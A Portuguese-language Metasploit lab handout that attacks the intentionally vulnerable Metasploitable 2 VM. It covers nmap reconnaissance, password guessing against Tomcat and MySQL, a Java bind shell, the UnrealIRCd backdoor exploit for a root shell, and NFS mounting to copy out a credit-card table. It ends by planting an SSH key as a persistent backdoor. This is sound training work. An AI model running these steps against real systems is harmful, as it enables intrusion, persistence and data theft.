Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp
Post on 15-Oct-2018
223 Views
Preview:
Transcript
1
Aula Metasploit
I. Escopo
As estações responsáveis pelos ataques utilizam a distribuição GNU/Linux Backtrack 5 R3, uma dis-tribuição GNU/Linux baseada no Ubuntu 10.04 LTS. Esta versão foi lançada em 13/Ago/20121, no momento a mais recente deste pacote de ferramentas.
O sistema alvo utilizado neste exercício é o Metasploitable 2. Uma distribuição GNU/Linux desen-volvida especialmente para servir de alvo na execução de testes de segurança. Ela utiliza uma distribuição Ubuntu com diversas aplicações desatualizadas e mal configuradas. A versão utilizada foi lançada em 21/05/20122.
Virtual Box
O host com a instalação do Backtrack será executado como uma máquina virtual utilizando o Virtu-albox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o botão direito sobre a máquina virtual e clique em Configurações:
Na janela de Configurações, vá até a opção Rede e certifique-se de que o Adaptador 1 com a opção Conectado a: Placa em modo Bridge. Em avançado, clique algumas vezes no botão ao lado do campo Ende-reço MAC, garantindo dessa forma que todos possuam endereços MAC diferentes uns dos outros na mes-ma rede.
Dica
Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que será alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representação do endereço x.x.x.0/24 identifica a utilização do IP da rede.
1http://www.backtrack-linux.org/
2http://sourceforge.net/projects/metasploitable/
2
No momento de executar algum comando, verifique se está no local correto. Quando o comando indicar o símbolo #, significa que você deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, ‘mysql >’ ou ‘msf >’, você deve estar na linha de comando desse aplicati-vo.
Comandos Básicos do Linux
cat [arquivo] : lista o conteúdo do arquivo.
cat /etc/issue : mostra detalhes sobre a distri-buição utilizada.
cd [pasta] : entra na pasta especificada.
cp [origem] [destino] : copia um arquivo.
cp -R [pasta_origem] [destino] : copia uma pas-ta e todo seu conteúdo.
ls : listas arquivos e pastas em um diretório.
ls -l : listar arquivos e pastas exibindo os deta-lhes.
ls -la : listar arquivos e pastas incluindo ocultos.
mkdir [pasta] : cria uma pasta com o nome indicado
mv [origem] [destino] : move/renomeia arqui-vo ou pasta.
passwd : altera a senha do usuário atual.
passwd [login] : altera a senha de outro usuá-rio.
pwd : mostra o caminho da pasta atual.
uname -a : mostra informações sobre o siste-ma.
II. Mapeamento dos alvos
Identificação de hosts
ping
Conforme ALI (2011), o ping é a ferramenta mais famosa para verificar a disponibilidade de um host. Seu funcionamento se dá pelo envio de pacotes ECHO REQUEST ao host de destino, caso o host em questão esteja disponível ele retornará um pacote ECHO REPLY, o protocolo utilizado é o ICMP (Internet Control Message Protocol).
Em uma execução bem sucedida é possível verificar se um host conhecido está disponível. No exemplo abaixo foram enviados três pacotes ICMP ECHO REQUEST e todos os três foram respondidos (ICMP ECHO REPLY). A quantidade de pacotes é definida pelo parâmetro '-c'.
# ping -c 3 x.x.x.x (IP do host alvo)
PING x.x.x.x (x.x.x.x) 56(84) bytes of data.
64 bytes from x.x.x.x: icmp_seq=1 ttl=64 time=69.9 ms
3
64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms
64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms
--- x.x.x.x ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms
fping
Quando não se conhece o endereço IP do alvo cuja disponibilidade deve ser testada, é preciso utili-zar ferramentas capazes de gerar uma lista de endereços para o envio do ICMP ECHO REQUEST. O fping faz isso através do parâmetro '-g', no exemplo abaixo será utilizado também o parâmetro '-c 1' para enviar uma única solicitação para cada host da lista.
Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereço de sub-rede e o segundo utiliza um endereço inicial e final para a geração da lista. Escolha um e execute:
# fping -c 1 -g x.x.x.0/24 (IP da rede alvo)
# fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede)
Para cada host cuja resposta não for obtida é apresentada cada uma das linhas, conforme segue:
ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to x.x.x.y
-------------------------------------
x.x.x.y : xmt/rcv/%loss = 1/0/100%
Para cada host ativo, e respondendo a requisições, são geradas linhas como as que seguem:
x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss)
-------------------------------------------------------
x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80
Analisando as linhas acima seria possível afirmar que o host x.x.x.y não está ativo e o host x.x.x.x es-tá.
Identificação dos Serviços
nmap
Para que o nmap identifique com mais precisão as informações do sistema alvo, é importante exe-cutar a atualização de sua base de dados com o comando abaixo:
# nmap --script-updatedb
O nmap também possibilita identificar os hosts disponíveis em uma rede utilize o comando abaixo:
# nmap -sP x.x.x.0/24
A resposta do comando será algo como:
Nmap scan report for x.x.x.x
Host is up (0.00070s latency).
MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)
Nmap scan report for x.x.x.y
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 33.95 seconds
O parâmetro '-sP' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ain-da identifica o endereço físico da placa de rede (MAC Address). Compare a quantidade de hosts retornados
4
pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte.
A forma mais simples de execução da ferramenta nmap para mapear os serviços em execução em um host é:
# nmap x.x.x.x (IP do host alvo)
A saída do comando será algo parecido com:
Nmap scan report for x.x.x.x
Host is up (0.0051s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds
Pela utilização padrão do nmap, a ferramenta testa cada porta apenas para verificar os serviços que estão em execução e monitorando cada uma das portas, porém sem completar a conexão. É como telefo-nar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretária eletrô-nica. Portanto, o nome dos serviços sugeridos por ele são apenas suposições de acordo com o número da porta.
Com o parâmetro abaixo, o nmap tenta capturar o nome do serviço que realmente está em execu-ção nas portas do host alvo e suas respectivas versões:
# nmap -sV x.x.x.x (IP do host alvo)
A saída do comando será:
Nmap scan report for x.x.x.x
5
Host is up (0.0059s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open shell?
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open ingreslock?
2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
8009/tcp open ajp13?
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
O resultado deste comando é mais demorado pelo fato do nmap realizar uma conexão em cada uma das portas. Agora, com os nomes dos softwares em execução e suas respectivas versões, o conheci-mento sobre o alvo aumenta.
O nmap também pode tentar detectar o sistema operacional em execução no host alvo. Execute o comando abaixo e analise o resultado:
# nmap -O x.x.x.x (IP do host alvo)
Na saída desse comando, os serviços em execução são repetidos e ao final é apresentado o resulta-do do provável sistema operacional do alvo:
Nmap scan report for x.x.x.x
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
...
6667/tcp open irc
6
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.31
Network Distance: 1 hop
O comando acima retorna que o sistema utilizado é um Linux com kernel entre as versões 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a versão 2.6.24 do kernel Linux, portanto o resultado está dentro da expectativa.
Para um resultado ainda mais completo, teste o comando:
# nmap -v -A x.x.x.x (IP do host alvo)
Sua saída é a seguinte:
...
Nmap scan report for x.x.x.x
Host is up (0.0044s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-03-17 14:07:45
| Not valid after: 2010-04-16 14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
7
|_http-methods: No Allow or Public header in OPTIONS response (sta-tus code 200)
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 39334/udp mountd
| 100005 1,2,3 55482/tcp mountd
| 100021 1,3,4 39102/udp nlockmgr
| 100021 1,3,4 59488/tcp nlockmgr
| 100024 1 37315/udp status
|_ 100024 1 44437/tcp status
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open ingreslock?
2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info: Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 10
| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit
|_Salt: ABf[xg{Tsd|bWmA86GCX
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ Unknown security type (33554432)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
| irc-info: Server: irc.Metasploitable.LAN
| Version: Unreal3.2.8.1. irc.Metasploitable.LAN
| Lservers/Lusers: 0/1
| Uptime: 0 days, 1:50:36
| Source host: 80911CEB.D3975B40.7B559A54.IP
|_Source ident: OK nmap
8
8009/tcp open ajp13?
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
...
MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.31
Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012)
Network Distance: 1 hop
...
Host script results:
| nbstat:
| NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| Names
| METASPLOITABLE<00> Flags: <unique><active>
| METASPLOITABLE<03> Flags: <unique><active>
| METASPLOITABLE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2012-10-21 18:46:51 UTC-4
TRACEROUTE
HOP RTT ADDRESS
1 4.44 ms 10.0.0.10
...
Este resultado é ainda mais demorado, porém com ele foi possível obter informações sobre versões de softwares não identificados anteriormente e detalhes sobre serviços específicos, como FTP, SMB entre outros. Com isso torna-se viável a exploração de falhas específicas das versões instaladas.
Com este último comando foi possível identificar que o FTP aceita conexões anônimas, que a ver-são do Unreal ircd é a 3.2.8.1. Incluindo a identificação do sistema operacional e a possível versão do Kernel Linux.
III. Identificação de vulnerabilidades
Unreal IRC
Com as informações obtidas no tópico anterior, agora é possível pesquisar quais softwares do host alvo possuem vulnerabilidades conhecidas.
Como forma de exemplo, em uma rápida pesquisa no Google pelo termo ‘Unreal3.2.8.1 exploit’, obtêm-se como primeiro resultado a página do Metasploit, conforme tela abaixo:
9
Com este resultado é possível descobrir que esta versão do Unreal IRC possui uma Backdoor, e seu nível de exploração é categorizado como 'Excelente'.
IV. Exploração
Metasploit
Metasploit é uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos módulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invasão. (Kennedy et al. 2011)
O Metasploit possui mais de uma opção de interface, utilizaremos o MSFConsole por ser o mais simples e versátil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela é possível executar exploits, carregar módulos auxiliares, efetuar varredura, enumeração e rodar explo-its em massa contra alvos específicos ou redes inteiras.
Primeiro acesso
Antes de utilizar o metasploit é recomendado atualizar seu banco de dados com o comando abaixo:
# msfupdate
O comando abaixo entra na interface de console do Metasploit:
# msfconsole
Password guessing
Tomcat
O servidor Apache Tomcat é um servidor web Java. Sua execução foi identificada pela linha abaixo, gerada pelo nmap:
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Dentro do console do metasploit é possível utilizar o comando search para identificar os módulos disponíveis:
msf > search tomcat
Dentre vários resultados um deles será:
Figura 1: Seção de exploits do site Metasploit
10
Name ... Description
auxiliary/scanner/http/tomcat_mgr_login ... Tomcat Application Ma-nager Login Utility
Para fazer uso deste módulo utiliza-se o comando:
msf > use auxiliary/scanner/http/tomcat_mgr_login
Cada módulo possui parâmetros necessários à sua execução, com o comando abaixo é possível ob-ter uma lista deles:
msf auxiliary(tomcat_mgr_login) > show options
Perceba que os parâmetros abaixo já estão preenchidos:
PASS_FILE
USERPASS_FILE
USER_FILE
Pode deixá-los como estão, no momento serão configurados apenas os parâmetros abaixo. Para cada parâmetro que deve ser configurado deverá ser utilizado o comando set:
msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo)
msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat)
Execute novamente o comando show options e verifique se os parâmetros foram corretamente preenchidos. Por fim é utilizado o comando exploit que executa o módulo contra o alvo especificado acima:
msf auxiliary(tomcat_mgr_login) > exploit
Este módulo executa um ataque por palavras de dicionário, utilizando os arquivos indicados nas va-riáveis indicadas acima. Neste ataque uma das combinações utilizadas poderá ser aceita pelo servidor:
...
[*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root'
[-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'
[*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat'
[+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both'
[-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
...
A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser per-petrados:
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
Neste módulo é preciso utilizar o parâmetro PAYLOAD, para obter uma lista de payloads compatí-veis com o módulo em questão utiliza-se o comando
11
msf exploit(tomcat_mgr_deploy) > show payloads
Conforme Kennedy e outros (2011), payload identifica o código que o módulo deve executar e que deve ser entregue ao alvo. No caso será utilizado um prompt de comando feito em java e como o Tomcat é um servidor Java, o prompt será executado:
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit
O comando acima fornecerá um prompt de comando para o usuário tomcat que poderá executar programas e abrir arquivos aos quais ele possua acesso.
MySQL
É um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma versão distribuída como Software Livre e uma versão comercial. O atual responsável pelo seu desen-volvimento é a Oracle.
Acesse o msfconsole e digite o comando abaixo:
msf > search mysql
São mostrados todos os módulos com a palavra mysql em seu nome, ou seja, os módulos que tra-balham com esse banco de dados.
Neste momento o módulo utilizado será o seguinte:
msf > use auxiliary/scanner/mysql/mysql_login
Liste os parâmetros necessários para executar este módulo:
msf auxiliary(mysql_login) > show options
Verifique os parâmetros disponíveis, preencha com as opções abaixo:
msf > set RHOSTS x.x.x.x (IP destino)
msf > set USERNAME root
msf > set PASS_FILE /opt/metasploit/msf3/data/wordlists/unix_passwords.txt
É possível listar os parâmetros novamente para verificar se estão preenchidos (show options). E en-tão, execute o módulo:
msf > exploit
O módulo tentará se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usuário root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. É possível ainda configurar o parâmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo serão testadas como login. É um teste demorado, porém pode ser a melhor maneira de descobrir um login e senha válidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt
Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usuário ro-ot e a senha descoberta:
(IP alvo)
# mysql -h x.x.x.x -u root -psenha
Alguns comandos úteis para obter informações de um banco MySQL Server. Liste os databases exis-tentes:
mysql> show databases;
Escolha um database, por exemplo:
12
mysql> use owasp10;
Liste todas as tabelas do database escolhido:
mysql> show tables;
A título de exemplo, liste os registros de uma das tabelas:
mysql> select * from credit_cards;
Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado:
mysql> select * from credit_cards
-> into outfile '/tmp/arquivo_[seunome].txt';
Um arquivo é gerado com o conteúdo da tabela, porém este arquivo está no host alvo. Ainda preci-saremos copiá-lo para o computador local.
Acesso ao prompt
Unreal IRC
Com o comando a seguir, é possível buscar os módulos com os exploits do Unreal IRC:
msf > search unreal irc
O módulo encontrado é:
exploit/unix/irc/unreal_ircd_3281_backdoor
Utilize o módulo:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Mostrar os parâmetros para sua utilização
msf exploit(unreal_ircd_3281_backdoor) > show options
Abaixo os parâmetros com a indicação de que são obrigatórios:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 6667 yes The target port
Defina o host alvo com o comando:
msf exploit(unreal_ircd_3281_backdoor) > set RHOST x.x.x.x
Explorar:
msf exploit(unreal_ircd_3281_backdoor) > exploit
Resultado:
[*] Started reverse double handler
[*] Connected to x.x.x.x:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your host-name...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
13
[*] Command: echo arEDLp8ML4sCA5T6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "arEDLp8ML4sCA5T6\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27
Acesso ao prompt de comando com permissões de administrador (no Linux, usuário root).
Pastas compartilhadas
NFS
Uma das linhas do resultado do nmap indica que a porta 2049 está sendo utilizada.
2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)
Esta porta se trata do serviço de compartilhamento de arquivo NFS. Com o comando abaixo é pos-sível verificar quais pastas estão sendo compartilhadas pelo protocolo:
# showmount -e x.x.x.x (IP do host alvo)
Export list for x.x.x.x:
/ *
Com essa informação em mãos, é possível montar a pasta raiz do servidor em um ponto da máqui-na local:
# mkdir /tmp/mnt
# mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock
Com esta pasta compartilhada é possível copiar arquivos entre o computador invasor e o computa-dor da vítima.
Acesse a pasta tmp do host alvo:
# cd /tmp/mnt/tmp
Copie o arquivo gerado pelo comando SQL:
# cp arquivo_[seunome].txt /root
Manutenção do acesso
SSH
Primeiramente, tente conectar-se ao servidor da vítima por SSH:
# ssh root@x.x.x.x
O servidor pedirá a senha do usuário root, como não temos, não conseguiremos logar na máquina remota. Para que o login SSH funcione, gere uma chave SSH:
# ssh-keygen
Esta chave identifica o computador que você está utilizando. Adicione essa chave gerada como uma chave de confiança no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente:
# cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys
14
Agora tente logar novamente utilizando SSH:
# ssh root@x.x.x.x
Dessa vez a conexão torna-se possível devido à relação de confiança criada ao copiar a chave do host invasor para o host alvo. Com isso já temos uma backdoor sempre que precisar entrar no servidor remoto.
Copiando arquivos
De dentro do host invasor
Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt):
cp [origem] [destino]
# cp /tmp/mnt/tmp/arquivo.txt /root
É possível ainda copiar um arquivo utilizando o SSH:
scp [origem] [destino]
scp login@ip_alvo:/pasta/arquivo /pasta_local
# scp root@x.x.x.x:/tmp/arquivo.txt /root
De dentro do host alvo
Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando:
# sshd-generate
# restart ssh
Caso apresente erro no segundo comando, execute:
# /etc/init.d/ssh restart
A partir de agora o servidor SSH está habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo:
scp /pasta/arquivo login@x.x.x.y:/pasta
# scp /home/user/[arquivo] root@x.x.x.y:/root
Para desmontar a pasta compartilhada do servidor alvo, utilize:
# umount /tmp/mnt
Treino
Acesse a pasta /home/user do host alvo e copie o arquivo .pdf e .txt para /root do Backtrack.
Referências
WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burling-ton, Massachusetts: Syngress. 2010.
Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Dis-ponível em: http://www.backtrack-linux.org/wiki/index.php/OpenVas
ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011.
15
KENNEDY, David; O’GORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Tester’s Guide. No Starch Press. San Francisco, CA. 2011.
top related